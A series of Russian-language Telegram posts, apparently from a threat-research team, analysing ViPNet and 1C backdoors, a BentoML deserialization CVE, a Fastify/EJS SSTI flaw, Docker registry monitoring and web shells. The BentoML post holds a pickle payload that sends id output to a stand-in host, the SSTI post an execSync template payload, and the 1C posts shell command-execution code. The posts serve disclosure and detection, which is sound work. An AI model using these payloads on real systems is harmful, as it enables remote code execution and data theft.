Бэкдор VipNet: все новое — хорошо забытое старое
В апреле наша команда проводила оценку компрометации инфраструктуры одного органа исполнительной власти. В каталоге с резервной копией ViPNet мы обнаружили вредоносный файл
😬 Мы проанализировали файл и выяснили, что это загрузчик ранее не встречавшегося нам бэкдора. Он был частью архива, мимикрировавшего под обновление ПО ViPNet.
😬 А недавно коллеги из «Лаборатории Касперского» выпустили отчет о бэкдоре, который тоже мимикрировал под обновления ViPNet: он использовал такие же схему запуска и загрузчик.
😬 Все это вернуло нас в 2021 год, когда при расследовании одного инцидента мы столкнулись с аналогичной картиной. Недостаток безопасности в системе обновления ViPNet для доставки и запуска вредоносной полезной нагрузки любят использовать восточно-азиатские APT-группировки.
Мы сравнили цепочку запуска вредоносной нагрузки из апрельского кейса и с цепочкой из 2021 года: они оказались почти идентичными.
👀 Подробности о бэкдоре VipNet и как от него защититься — в новой статье.
В апреле наша команда проводила оценку компрометации инфраструктуры одного органа исполнительной власти. В каталоге с резервной копией ViPNet мы обнаружили вредоносный файл
msinfo32.exe, размещенный на хосте летом 2022 года.Мы сравнили цепочку запуска вредоносной нагрузки из апрельского кейса и с цепочкой из 2021 года: они оказались почти идентичными.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥18👍11❤🔥5🤔2👀2
Статический анализ контейнеров 1C 👀
Недавно коллеги из PT рассказывали про 1С Shell, который позволяет выполнять произвольные команды на Windows и на Linux, читать файлы и много чего еще.
Сегодня хотим поделиться с вами обзором утилиты для статического анализа на примере одного шелла. Она поможет определить функциональность шелла и узнать полезные подробности для команды реагирования — например, что выполненные через этот шелл команды записываются в файл
Основные особенности контейнеров 1С
— Имеют заголовок
— Представляют из себя нечто вроде виртуальной файловой системы: контейнер хранит в себе различные документы, которые состоят из блоков;
— Большинство данных упакованы алгоритмом Deflate, из-за чего в файле почти нет полезных читаемых строк, кроме нескольких UUID строчек.
Для анализа такого файла можно загрузить его в 1С, но если под рукой нет этого ПО, можно воспользоваться утилитами — сегодня разберем pfCFTools.
Как работает утилита pfCFTools для анализа контейнеров
pfCFTools — это утилита для работы с файлами CF/CFE/CFU/EPF/ERF и подобными.
Для сборки нужно загрузить IDE Free pascal и запустить команду:
Использование:
В каталоге
Вспомогательные файлы для работы с метаданными:
—
—
—
—
Остальные файлы:
—
—
—
Для чего нужен каждый файл, например, описано здесь. В файле
Выжимка из кода:
У утилиты pfCFTools есть один минус:нужно копаться в непонятных файлах и искать код шелла.
Ставьте ⚡️, если нужен разбор еще двух утилит для анализа 1C шелла.
Недавно коллеги из PT рассказывали про 1С Shell, который позволяет выполнять произвольные команды на Windows и на Linux, читать файлы и много чего еще.
Сегодня хотим поделиться с вами обзором утилиты для статического анализа на примере одного шелла. Она поможет определить функциональность шелла и узнать полезные подробности для команды реагирования — например, что выполненные через этот шелл команды записываются в файл
%TEMP%\res.txt.1C shell — это контейнер 1С (расширения файлов CF, EPF, ERF, CFE). Формат уже давно разобран, например, здесь и здесь.
Основные особенности контейнеров 1С
— Имеют заголовок
FF FF FF 7F;— Представляют из себя нечто вроде виртуальной файловой системы: контейнер хранит в себе различные документы, которые состоят из блоков;
— Большинство данных упакованы алгоритмом Deflate, из-за чего в файле почти нет полезных читаемых строк, кроме нескольких UUID строчек.
Для анализа такого файла можно загрузить его в 1С, но если под рукой нет этого ПО, можно воспользоваться утилитами — сегодня разберем pfCFTools.
Как работает утилита pfCFTools для анализа контейнеров
pfCFTools — это утилита для работы с файлами CF/CFE/CFU/EPF/ERF и подобными.
Для сборки нужно загрузить IDE Free pascal и запустить команду:
fpc.exe pfCFTool.lpr
Использование:
pfCFTool.exe -u Обработка.epf -c auto -d res_dir -r
-u – unpack;
-c – compression;
-d – directory to unpack;
-r – recurse processing.
В каталоге
res_dir появляются распакованные файлы и каталоги.Вспомогательные файлы для работы с метаданными:
—
version.deflate – информация о версии контейнера;—
versions.deflate — пары id метаданного (связанная совокупность файлов) и id-версии метаданного;—
root.deflate — id файла с описанием структуры метаданных для контейнеров CF, EPF, ERF (форматы файлов 1С);—
copyinfo.deflate — информация об изменениях в формате внутренних данных 1С.Остальные файлы:
—
uuid.deflate (ce244e8a-6d30-4e49-a244-c6d80d2ea085.deflate);—
uuid.type.deflate (ce244e8a-6d30-4e49-a244-c6d80d2ea085.0.deflate), где 0 — это постфикс модуля объекта, где как раз располагается 1С-код шелла — самый полезный файл;—
каталоги c uuid.Для чего нужен каждый файл, например, описано здесь. В файле
ce244e8a-6d30-4e49-a244-c6d80d2ea085.0.deflate на 3283 строке начинается код модуля, который реализует функционал шелла. Выжимка из кода:
Процедура ПриСозданииНаСервере(Отказ, СтандартнаяОбработка)
УстановитьПривилегированныйРежим(Истина);
СисИнфо = Новый СистемнаяИнформация;
Платформа = СисИнфо.ТипПлатформы;
ВерсияОС = СисИнфо.ВерсияОС;
ИмяКомпьютера = ИмяКомпьютера();
ПапкаВременныхФайлов = КаталогВременныхФайлов();
Объект.ИмяФайлаВывода = КаталогВременныхФайлов() + ""res.txt"";
Объект.Способ = ""WScript.Shell"";
Платформа2 = ""Windows"";
Объект.Кодировка1 = ""cp866"";
Объект.Кодировка2 = ""cp866"";
…
КонецПроцедуры
У утилиты pfCFTools есть один минус:
Ставьте ⚡️, если нужен разбор еще двух утилит для анализа 1C шелла.
Please open Telegram to view this post
VIEW IN TELEGRAM
⚡25🔥9👍6👾2👀1
ML под угрозой: критическая уязвимость CVE-2025-32375 👾
CVE-2025-32375 — уязвимость небезопасной десериализации в BentoML, позволяющая выполнить произвольный код на сервере.
❗️ Уязвимы все версии до 1.4.8 — рекомендуем обновиться.
BentoML — это фреймворк для упаковки, деплоя и сервинга моделей машинного обучения.
Метрики📈
Детали уязвимости🔎
Атака происходит с использованием
Полезная нагрузка
Полезная нагрузка — это сериализованный объект:
При десериализации она отправит вывод команды
Пример эксплуатации
👀 Злоумышленники запускают прослушивание порта на удаленном сервере, например, через netcat.
👀 С атакующего хоста запускается эксплойт.
👀 Ответ приходит на удаленный сервер.
Рекомендации по детектированию
1️⃣ Проверяем, что запрос отправлен методом
2️⃣ Проверяем наличие всех заголовков;
3️⃣ Проверяем, что
4️⃣ Проверяем, что body является сериализованной строкой.
CVE-2025-32375 — уязвимость небезопасной десериализации в BentoML, позволяющая выполнить произвольный код на сервере.
Метрики
Base Score: 9.8, критический
CWE: CWE-502
Детали уязвимости
Атака происходит с использованием
POST-запроса. Для запуска цепочки, проводящей к небезопасной десериализации, в запросе нужен заголовок args-number, значение которого равно 1. Еще в запросе должны быть дополнительные заголовки:Content-Type — может принимать разные значения, например: application/vnd.bentoml.pickled, application/x-www-form-urlencoded, application/octet-stream;Payload-Container — значение NdarrayContainer или andasDataFrameContainer;Payload-Meta — значение в формате json {"format": "default"};Batch-Size — значение в формате int.Полезная нагрузка
Полезная нагрузка — это сериализованный объект:
\x80\x04\x95K\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c0curl -X POST -d "$(id)" http://evill.com\x94\x85\x94R\x94
При десериализации она отправит вывод команды
id на удаленный сервер evill.com.Пример эксплуатации
Рекомендации по детектированию
POST;args-number равен 1;Please open Telegram to view this post
VIEW IN TELEGRAM
🔥16👍9❤🔥4🤔2👾1
Статический анализ контейнеров 1C, часть 2
Как и обещали, продолжаем рассказывать об утилитах для анализа 1С шеллов.
Python-версия старейшей утилиты — V8unpack python🐍
Есть много реализаций утилиты V8Unpack, которая была сделана для работы с контейнерами CF. Но у V8unpack python есть два преимущества:
👀 Она декодирует заголовки и разбивает по типам метаданных.
👀 Организует код и структуру хранения.
Использование:
В результате работы в каталоге
Файлы с расширением
Оригинальная утилита v8unpack сложна в использовании:
1️⃣ Сначала нужно распаковать epf-контейнер:
В результате получается несколько файлов вида:
2️⃣ Данные каждого data-файла сжаты алгоритмом Deflate, поэтому их нужно распаковывать отдельной командой:
Именно поэтому мы советуем использовать v8unpack в python-реализации.А для любителей RUST есть частично портированная версия утилиты — v8unpack-rs .
Самая простая утилита — V8Reader😎
Эта GUI-утилита для анализа 1С контейнеров — самая наглядная и удобная в использовании. Внешний вид после открытия файла
Для просмотра кода модулей нужно выбрать «Действия» > «Модуль объекта» или перейти на вкладку «Модуль» при просмотре форм (Скриншот 2).
В утилите есть подсветка кода и сворачивание функций (Скриншот 3), визуально видна структура элементов — это очень удобно.
P.S. Кстати, 1C шеллы могут быть в виде файлов с расширением DT.
Ставьте🔥 — если хотите узнать, что это за формат и как статически анализировать такой shell.
Как и обещали, продолжаем рассказывать об утилитах для анализа 1С шеллов.
Python-версия старейшей утилиты — V8unpack python
Есть много реализаций утилиты V8Unpack, которая была сделана для работы с контейнерами CF. Но у V8unpack python есть два преимущества:
Использование:
v8unpack_py.exe -E Обработка.epf unpacked
В результате работы в каталоге
unpacked получаем понятную структуру:│ ExternalDataProcessor.data803.json
│ ExternalDataProcessor.json
│ ExternalDataProcessor.obj.bsl
│
└───Form
└───ВыполнитьКомандуСистемы
Form.elem.json
Form.id.json
Form.json
Form.obj.bsl
Файлы с расширением
bsl содержат 1С-код, который в нашем примере относится к шеллу. Можно сразу анализировать их.Оригинальная утилита v8unpack сложна в использовании:
1️⃣ Сначала нужно распаковать epf-контейнер:
v8unpack.exe -u Обработка.epf out
В результате получается несколько файлов вида:
имя_файла1.header, имя_файла1.data, имя_файла2.header, имя_файла2.data
2️⃣ Данные каждого data-файла сжаты алгоритмом Deflate, поэтому их нужно распаковывать отдельной командой:
v8unpack.exe -i out\ce244e8a-6d30-4e49-a244-c6d80d2ea085.0.data out\ce244e8a-6d30-4e49-a244-c6d80d2ea085.0.data.unp
Именно поэтому мы советуем использовать v8unpack в python-реализации.
Самая простая утилита — V8Reader
Эта GUI-утилита для анализа 1С контейнеров — самая наглядная и удобная в использовании. Внешний вид после открытия файла
Обработка.epf — на Скриншоте 1. Для просмотра кода модулей нужно выбрать «Действия» > «Модуль объекта» или перейти на вкладку «Модуль» при просмотре форм (Скриншот 2).
В утилите есть подсветка кода и сворачивание функций (Скриншот 3), визуально видна структура элементов — это очень удобно.
P.S. Кстати, 1C шеллы могут быть в виде файлов с расширением DT.
Ставьте
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥17👍8⚡3❤2🥱1👾1
Анализ 1C Shell в формате DT
Продолжаем говорить об утилитах для статического анализа 1С шеллов. Сегодня разберемся, как анализировать шелл в виде файла с расширением DT.
Это также бинарный формат, для которого доступно не так много инструментов, как для 1С-контейнеров. Делимся, на наш взгляд, самым полезным.
Как работает утилита pfDTTools
Эту утилиту разработал автор pfCFTools, который также написал статью о формате DT.
Она позволяет получить в текстовом формате содержимое дампа:
В
Формат
Файл содержит 1024 строки. Большинство данных представлено в виде hex-строк, например, CFG1-файл из
hex-строка — это сжатые deflate-данные:
Декодировать можно, например, в Cyberchef, скопировав hex-строку и используя рецепт: from hex + raw inflate.
Иногда данные представлены без сжатия, поэтому raw inflate не нужен.
Какие еще данные содержатся в dump.txt
Большую часть занимают данные
В данных — 1С-контейнер.
Самое интересное располагается в
Код
Здесь видим, что содержимое команд также записывается во временный txt-файл.
Этот модуль используется в коде основного модуля:
В нем есть и другие функции: ПолучитьIPАдресКлиента, КомандаВыполнить, КомандаВыполнитьНаСервере и другие служебные.
В
Мы показали, что анализ дампа DT-файла вполне возможен без ПО 1С.
Да, он не такой удобный, но позволяет узнать подробности.
Надеемся, этот пост поможет исследователям, если они когда-нибудь столкнутся с 1С шеллами!
Продолжаем говорить об утилитах для статического анализа 1С шеллов. Сегодня разберемся, как анализировать шелл в виде файла с расширением DT.
Файл в формате DT — это файл выгрузки информационной базы 1С. Имеет заголовок 1CIBDmpF2, где 2 – версия формата.
Это также бинарный формат, для которого доступно не так много инструментов, как для 1С-контейнеров. Делимся, на наш взгляд, самым полезным.
Как работает утилита pfDTTools
Эту утилиту разработал автор pfCFTools, который также написал статью о формате DT.
Она позволяет получить в текстовом формате содержимое дампа:
pfDTTools.exe -dump 1C-Shell.dt dump.txt
В
dump.txt — скобочная запись 1С с описанием конфигурации и данных в виде:{"CompatibilityMode",2},
{"CustomFlag","IndexCompatibility",0},
{"CustomFlag","UseMVCC",0},
{
"Folder","Config", {0, {CFG1}, {CFG2}, ..., {CFGN}}
},
{"Folder","ConfigSave", {0}},
{"Folder","Params", {0}},
{
"Folder","Files", {0, {FILE1}, {FILE2}, ..., {FILEN}}
},
{"Folder","DepotFiles", {0}},
{
"Users", {0, {USER1}, {USER2}, ..., {USERN}}
},
{
"DataBase", {...}
}Формат
dump.txt, полученный из 1C-Shell.dtФайл содержит 1024 строки. Большинство данных представлено в виде hex-строк, например, CFG1-файл из
"Folder", "Config":{1,"457b7c51-a590-45aa-a80d-6f4fa4ea4665",1,636709669640000,1,636709669640000,1,0,1,165,1,
{
0,958f310ec2300c4577a45e22acb114274e9dcc9cc44ed3095109c454e5640c1c892b9016216624eb0df6f7fff6ebf15cd10e879536a0dfb9c1596729b272890812b3038a2220c94d30ce340b55a1718ccd9ad372b92de76a3ebbe67a37bf5e1f9bee8436f8ea128b025246a0ac23880a0385c8a88452bcdad0766df7d90f314763915d9aa79e5cb454209f3268e0008e250a93d69ad162fb4beedb70d86afff3cbeee1da1b
}
},hex-строка — это сжатые deflate-данные:
{1,{4,{1,{0,0,48f8828c-5187-43bd-9e70-1f2c124c2c0f},"Заставка",{1,"ru","Заставка"},"",0,1,8eb4fad1-1fa6-403e-970f-2c12dbb43e23,3},4},0}Декодировать можно, например, в Cyberchef, скопировав hex-строку и используя рецепт: from hex + raw inflate.
Иногда данные представлены без сжатия, поэтому raw inflate не нужен.
Какие еще данные содержатся в dump.txt
Большую часть занимают данные
"DataBase". В них нет кода шелла, они содержат настройки внешнего вида контейнеров, например:"DesktopCustomization/Такси/НастройкиОкна", "Kraud",1,"РабочийСтол/Такси/НастройкиОкна" и т.д.В данных — 1С-контейнер.
Самое интересное располагается в
"Folder","Config".Код
"ОбщийМодульПривилегированный":Функция ВыполнитьКоманду(КоманднаяСтрока) Экспорт
WshShell = Новый COMОбъект("WScript.Shell");
ИмяВременногоФайла = ПолучитьИмяВременногоФайла("txt");
Запуск = "%comspec% /c " + КоманднаяСтрока + " > " + ИмяВременногоФайла;
WshShell.Run(Запуск, 0, Истина);
Текст = Новый ТекстовыйДокумент;
Текст.Прочитать(ИмяВременногоФайла, КодировкаТекста.OEM);
Возврат Текст.ПолучитьТекст();
КонецФункции
Здесь видим, что содержимое команд также записывается во временный txt-файл.
Этот модуль используется в коде основного модуля:
&НаСервере
Процедура ПриСозданииНаСервере(Отказ, СтандартнаяОбработка)
СисИнфо = ОбщийМодульПривилегированный.ПолучитьСистемнуюИнформацию();
Uname = СисИнфо.Uname;
User = СисИнфо.User;
ServerIP = СисИнфо.ServerIP;
ОчиститьТекстовыйДокумент();
СочетаниеКлавиш = """";
ОбщийМодульПривилегированный.НазначитьНестандартноеСочетаниеКлавиш(СочетаниеКлавиш, 13);
Команды.Найти(""КомандаВыполнить"").СочетаниеКлавиш = СочетаниеКлавиш;
КонецПроцедуры
В нем есть и другие функции: ПолучитьIPАдресКлиента, КомандаВыполнить, КомандаВыполнитьНаСервере и другие служебные.
В
"Users" видно пользователя Kraud и еще одного (имеется только GUID):1,0198C9EA-8ABB-4F2E-842D-16A6AB40338D,1,"Kraud",1,"Kraud",0,1,636631014780000,1,1,1,1,1,
Мы показали, что анализ дампа DT-файла вполне возможен без ПО 1С.
Да, он не такой удобный, но позволяет узнать подробности.
Надеемся, этот пост поможет исследователям, если они когда-нибудь столкнутся с 1С шеллами!
🔥12👍10❤8🤗1👾1
Ошибки конфигурирования API to SSTI to RCE на примере
— плагин для Fastify, который позволяет использовать шаблонизаторы (view engines) для генерации HTML-страниц на сервере .
Ранее в модуле
Тем не менее некоторые эксплойты, опубликованные в открытом доступе, продолжают ссылаться на этот идентификатор — это может вводить в заблуждение.
CVE-2025-47240 Плагин
Детали неправильной конфигурации API
Ключевой ошибкой является небезопасное использование метода reply.view() из Fastify-плагина
Рассмотрим следующий фрагмент уязвимого кода:
🫡 Сервер принимает POST-запрос на эндпоинт
🫡
🫡
🫡
🫡
🫡
Эксплуатация
Для успешной эксплуатации этой конфигурационной уязвимости достаточно отправить POST-запрос с произвольным телом, содержащим следующий шаблон EJS:
Этот код позволяет пользователю выполнять произвольный JavaScript-код на сервере. В нашем случае результатом выполнения кода станет вывод команды ls. Это классическая Server-Side Template Injection (SSTI), перерастающая в Remote Code Execution (RCE). Js-код внутри шаблона может быть любым❗️
Как защищаться
1️⃣ Никогда не используйте raw с пользовательским вводом
2️⃣ Используйте уже готовые шаблоны
3️⃣ Для детектирования попыток сканирования на эндпоинтах, использующих данную библиотеку, установите правило на обнаружение внедрения шаблона через подобное регулярное выражение
@fastify/view в node.js@fastify/viewРанее в модуле
@fastify/view для Node.js была зарегистрирована потенциальная уязвимость под идентификатором CVE-2025-47240. Однако после детального анализа выяснилось, что описанное поведение связано с неправильным использованием API со стороны разработчиков, а не с уязвимостью в самом программном обеспечении. В результате идентификатор CVE-2025-47240 был официально отозван.Тем не менее некоторые эксплойты, опубликованные в открытом доступе, продолжают ссылаться на этот идентификатор — это может вводить в заблуждение.
@fastify/view, который используется с движком EJS и шаблоном reply.view({ raw: <user-controlled-string> }) , позволяет выполнять произвольные EJS. Это приводит к удаленному выполнению кода (RCE).Детали неправильной конфигурации API
Ключевой ошибкой является небезопасное использование метода reply.view() из Fastify-плагина
@fastify/view. Рассмотрим следующий фрагмент уязвимого кода:
fastify.post('/render', (req, reply) => {
const template = req.body.text;
return reply.view({ raw: template }, { require }, { async: false });
}); /render.const template получает шаблон из тела сообщения без фильтрации reply.view используется для рендеринга шаблона с помощью движка EJS{ raw: template } интерпретирует пользовательский ввод как шаблон{ require } передаёт в шаблон функцию require, давая полный доступ к Node.js API{ async: false } асинхронный рендерингЭксплуатация
Для успешной эксплуатации этой конфигурационной уязвимости достаточно отправить POST-запрос с произвольным телом, содержащим следующий шаблон EJS:
<%= (this.constructor.constructor('return process.mainModule.require')())('child_process').execSync('ls'); %>Этот код позволяет пользователю выполнять произвольный JavaScript-код на сервере. В нашем случае результатом выполнения кода станет вывод команды ls. Это классическая Server-Side Template Injection (SSTI), перерастающая в Remote Code Execution (RCE). Js-код внутри шаблона может быть любым
Как защищаться
^<%.+%>$Please open Telegram to view this post
VIEW IN TELEGRAM
👍13🔥11🤓3❤2👎1👾1
Приходите послушать экспертов Solar 4RAYS на Positive Hack Days в Москве!
Cобрали информацию про все выступления наших экспертов в одном посте. Сохраняйте программу по ссылкам ниже себе, чтобы не пропустить интересные доклады.
👍 22 мая, 14:00, Лекторий “Positive Labs”
Страх и ненависть в обфусцированном ассемблере
Руководитель нашей команды реверсеров Владимир Нестор расскажет о борьбе (спойлер:успешной ) с обфусцированным кодом одного редкого пакера, который был обнаружен в ходе расследования шпионской атаки.
👍 22 мая, 16:00, Зал 23 “Да Винчи”
Задачи Шредингера: всё, чего вы не знали о планировщике задач Windows
Специалист по DFIR Денис Чернов разберёт проблемы, которые возникают в результате переноса хранилища планировщика задач Windows из привычной папки в реестр: как этой особенностью могут воспользоваться атакующие и что специалисты по реагированию могут с этим сделать.
👍 22 мая, 17:00, зал 23 “Да Винчи”
Защитные решения не панацея: серия кибератак с уничтожением локальных агентов
Эксперт по реверсу Дмитрий Маричев расскажет, как в 2024 году в ходе исследования инфраструктуры заказчиков мы обнаружили сразу несколько образцов ядерных руткитов под Windows, которые были главным образом предназначены для отключения EDR/XDR-решений. Также расскажем об их устройстве и методах противодействия таким вредоносам.
👍 23 мая, 15:00, зал 23 “Да Винчи”
Охота на Kubernetes: угрозы в джунглях оркестрации
Чем популярнее Kubernetes — тем разнообразнее угрозы, с которыми сталкиваются организации, использующие эту платформу. Наши специалисты по поиску угроз Гаго Минасян и Евгений Масьянов расскажут про угрозы, а также приведут пример типичной атаки на кластер Kubernetes и гипотезы хантов, детектирующих вредоносное поведение в кластере.
👍 23 мая, 17:30, зал 18 “Королев”
Ошибки использования threat intelligence в SOC
Технический директор Solar 4RAYS Алексей Вишняков погрузит слушателей в особенности использования киберразведки в компаниях. Расскажет про типовые ошибки при использовании TI службами ИБ, покажет наиболее успешные случаи интеграции и применения срезов данных, а еще поделится подходами пилотирования различных типов данных, оценки качества. В конце выступления — бонус: рекомендации по эффективному использованию контента TI.
До встречи на Positive Hack Days!
Cобрали информацию про все выступления наших экспертов в одном посте. Сохраняйте программу по ссылкам ниже себе, чтобы не пропустить интересные доклады.
Страх и ненависть в обфусцированном ассемблере
Руководитель нашей команды реверсеров Владимир Нестор расскажет о борьбе (спойлер:
Задачи Шредингера: всё, чего вы не знали о планировщике задач Windows
Специалист по DFIR Денис Чернов разберёт проблемы, которые возникают в результате переноса хранилища планировщика задач Windows из привычной папки в реестр: как этой особенностью могут воспользоваться атакующие и что специалисты по реагированию могут с этим сделать.
Защитные решения не панацея: серия кибератак с уничтожением локальных агентов
Эксперт по реверсу Дмитрий Маричев расскажет, как в 2024 году в ходе исследования инфраструктуры заказчиков мы обнаружили сразу несколько образцов ядерных руткитов под Windows, которые были главным образом предназначены для отключения EDR/XDR-решений. Также расскажем об их устройстве и методах противодействия таким вредоносам.
Охота на Kubernetes: угрозы в джунглях оркестрации
Чем популярнее Kubernetes — тем разнообразнее угрозы, с которыми сталкиваются организации, использующие эту платформу. Наши специалисты по поиску угроз Гаго Минасян и Евгений Масьянов расскажут про угрозы, а также приведут пример типичной атаки на кластер Kubernetes и гипотезы хантов, детектирующих вредоносное поведение в кластере.
Ошибки использования threat intelligence в SOC
Технический директор Solar 4RAYS Алексей Вишняков погрузит слушателей в особенности использования киберразведки в компаниях. Расскажет про типовые ошибки при использовании TI службами ИБ, покажет наиболее успешные случаи интеграции и применения срезов данных, а еще поделится подходами пилотирования различных типов данных, оценки качества. В конце выступления — бонус: рекомендации по эффективному использованию контента TI.
До встречи на Positive Hack Days!
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥22👍11✍5⚡3👾1
Бэкдоры Donnect, DimanoRAT и веб-шелл AntSpy
Недавно мы выпустили статью с подробным анализом бэкдора .NET KingOfHearts, который входит в инструментарий азиатской группировки Obstinate Mogwai.
🫡 Сегодня делимся второй частью статьи про бэкдоры Donnect, DimanoRAT и скрытный веб-шелл, который мы назвали AntSpy.
Что будет во второй части статьи, которую вы вот-вот откроете:
🥷 веб-шелл AntSpy — кастомный веб-шелл с графическим интерфейсом, в основу которого легли старые open source веб-шеллы Antak и ASPXSpy.
⚫️ как нововведение, в AntSpy реализовали «трехуровневую» систему аутентификации: GET-запрос с md5-хешом текущей даты > клик по невидимой кнопке > ввода пароля и соли (salt – случайная строка данных, которая добавляется к паролю перед его хешированием)
📁 боль использования веб-шелла злоумышленниками: из-за некорректной настройки нескольких серверов Exchange операторы часто «ловили» ошибки проверки целостности, из-за которых «утекала» история выполненных команд вместе с выводом.
⌨️ бэкдор Donnect впервые обнаружен в инфраструктуре в апреле 2022 года. Получает зашифрованную нагрузку с C2 и выполняет её. Назван по опечатке в слове CONNECT. Имеет сходство с бэкдорами EAGERBEE (Thumtais), Gh0st RAT, Cotx RAT.
🥷 Donnect очень похож на EAGERBEE (Thumtais), который в большинстве публичных отчетов применялся в основном в атаках за рубежом. Мы обнаружили, что семплы Donnect, которые использовались в атаках и загружались на публичный мультисканер из России, применяются исключительно для атак на российские организации и имеют свои уникальные особенности и техники.
📆 бэкдор DimanoRAT впервые обнаружен в инфраструктуре в марте 2023 года. Имеет 24 команды для работы.
Недавно мы выпустили статью с подробным анализом бэкдора .NET KingOfHearts, который входит в инструментарий азиатской группировки Obstinate Mogwai.
Что будет во второй части статьи, которую вы вот-вот откроете:
🥷 веб-шелл AntSpy — кастомный веб-шелл с графическим интерфейсом, в основу которого легли старые open source веб-шеллы Antak и ASPXSpy.
⚫️ как нововведение, в AntSpy реализовали «трехуровневую» систему аутентификации: GET-запрос с md5-хешом текущей даты > клик по невидимой кнопке > ввода пароля и соли (salt – случайная строка данных, которая добавляется к паролю перед его хешированием)
Please open Telegram to view this post
VIEW IN TELEGRAM
❤11🐳5🔥3👌1👾1
Безопасность локальных docker-реестров через механизм нотификаций
Тем, кто смотрел наш доклад на PhD«Охота на Kubernetes: угрозы в джунглях оркестрации» , может быть интересно, как можно отслеживать подозрительную активность в локальных docker-реестрах?
В docker-реестрах существует механизм notifications. Он позволяет отправлять web-хуки в ответ на события происходящие в реестре:
• Push и Pull образов реестра;
• Push и Pull слоёв образа.
Эти события отправляются очередью на эндпоинты, которые указаны в конфиге по HTTP(S) в качестве POST запросов. Поэтому важно, чтобы эндпоинт, принимающий события, умел обрабатывать именно POST запросы. Иначе нотификатор, видя ошибку, будет пытаться послать одно и тоже событие на эндпоит, и до следующего события в очереди она не доедет.
Настраиваются нотификаторы в конфиге самого docker-registry. По умолчанию файл конфигурации лежит по пути, как на основном хосте, так и в поде k8s:
Пример конфигурации нотификаторов в docker-registry:
Пример сервера на python, который может принимать POST запросы от реестра:
Запускаем наш эндпоинт и начинаем получать события.
python3 pythonlog.py
Пример события pull в docker-registry:
Здесь произошло обращение от клиента с User-Agent — curl к образу контейнера nginx. Эту активность можно считать подозрительной, так как утилита curl не является стандартной для взаимодействия с образами контейнеров.
На основе данных событий можно вывести профиль критичных образов в вашей инфраструктуре и отслеживать, какие обращения происходят к ним.
Тем, кто смотрел наш доклад на PhD
В docker-реестрах существует механизм notifications. Он позволяет отправлять web-хуки в ответ на события происходящие в реестре:
• Push и Pull образов реестра;
• Push и Pull слоёв образа.
Эти события отправляются очередью на эндпоинты, которые указаны в конфиге по HTTP(S) в качестве POST запросов. Поэтому важно, чтобы эндпоинт, принимающий события, умел обрабатывать именно POST запросы. Иначе нотификатор, видя ошибку, будет пытаться послать одно и тоже событие на эндпоит, и до следующего события в очереди она не доедет.
Настраиваются нотификаторы в конфиге самого docker-registry. По умолчанию файл конфигурации лежит по пути, как на основном хосте, так и в поде k8s:
/etc/docker/registry/config.yml
Пример конфигурации нотификаторов в docker-registry:
endpoints: # Список endpoint'ов для отправки уведомлений
- name: alistener # Произвольное имя endpoint'а (для идентификации в логах)
url: https://10.244.0.1:6666 # URL получателя уведомлений (должен поддерживать HTTPS POST)
timeout: 500ms # Максимальное время ожидания ответа от endpoint'а
threshold: 5 # Максимальное количество попыток отправки уведомления
backoff: 1s # Пауза между повторными попытками отправки
Пример сервера на python, который может принимать POST запросы от реестра:
from http.server import BaseHTTPRequestHandler, HTTPServer
class Handler(BaseHTTPRequestHandler):
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
print("New event:", post_data.decode())
self.send_response(200)
self.end_headers()
HTTPServer(('0.0.0.0', 6666), Handler).serve_forever()
Запускаем наш эндпоинт и начинаем получать события.
python3 pythonlog.py
Пример события pull в docker-registry:
"events": [
{
"id": "92373dbb-a1b3-420e-9008-83b93362cbcb",
"timestamp": "2025-05-20T10:08:19.010407248Z",
"action": "pull",
"target": {
"mediaType": "application/vnd.docker.distribution.manifest.v2+json",
"size": 1778,
"digest": "sha256:056c8ad1921514a2fc810a792b5bd18a02d003a99d6b716508bf11bc98c413c3",
"length": 1778,
"repository": "nginx",
"url": "https://docker-registry:5000/v2/nginx/manifests/sha256:056c8ad1921514a2fc810a792b5bd18a02d003a99d6b716508bf11bc98c413c3",
"tag": "v1"
},
"request": {
"id": "7ab6ff81-3187-44ce-aa0f-4d0e7d77071f",
"addr": "10.244.0.1:27862",
"host": "docker-registry:5000",
"method": "HEAD",
"useragent": "curl/8.5.0"
},
"actor": {
"name": "admin"
},
"source": {
"addr": "docker-registry-pod:5000",
"instanceID": "9419304c-421c-4837-ae87-d5c9ab9be670"
}
}
]
}
Здесь произошло обращение от клиента с User-Agent — curl к образу контейнера nginx. Эту активность можно считать подозрительной, так как утилита curl не является стандартной для взаимодействия с образами контейнеров.
На основе данных событий можно вывести профиль критичных образов в вашей инфраструктуре и отслеживать, какие обращения происходят к ним.
🔥20👍11💯4❤3👾1
Webrat шпионит за жертвами через веб-камеру и похищает криптокошельки
Мы обнаружили вредонос, распространяющийся по модели Malware-as-a-Service. Злоумышленники маскируют его под пиратские версии игр и под программы для их взлома.
ВПО имеет продвинутую функциональность стилера, которая позволяет похищать:
🫡 данные из браузеров;
🫡 аккаунты в Steam и Discord;
🫡 данные криптокошельков.
Кроме того, ВПО позволяет удаленно управлять системой через UI практически без задержек и следить за действиями жертвы как через трансляцию рабочего стола, так и через веб-камеру.
Подробности читайте в нашей новой статье.
Мы обнаружили вредонос, распространяющийся по модели Malware-as-a-Service. Злоумышленники маскируют его под пиратские версии игр и под программы для их взлома.
ВПО имеет продвинутую функциональность стилера, которая позволяет похищать:
Кроме того, ВПО позволяет удаленно управлять системой через UI практически без задержек и следить за действиями жертвы как через трансляцию рабочего стола, так и через веб-камеру.
Подробности читайте в нашей новой статье.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥15⚡6👍4👾1
Необычный веб-шелл в арсенале Obstinate Mogwai
Делимся веб-шеллом, который показался нам не просто интересным, но интересным в квадрате или даже в кубе. С одной стороны, в нем использована необычная техника, с другой… Но не будем раскрывать все карты сразу.
О коде web.config веб-шелла
В этой статье о группировке Obstinate Mogwai, в разделе IOCs, мы упоминали web.config веб-шелл:
md5:
Примерный код веб-шелла представлен на скриншоте 1.
Специалисту, не знакомому с одной старой техникой, может показаться, что код закомментирован и такой веб-шелл вряд ли активен. В реальности же он работает, код исполняется, причем скрытно (скриншот 2).
Веб-шелл возвращает результаты выполнения команды, которые видны только при просмотре исходного кода страницы, так как сам код веб-шелла закомментирован.
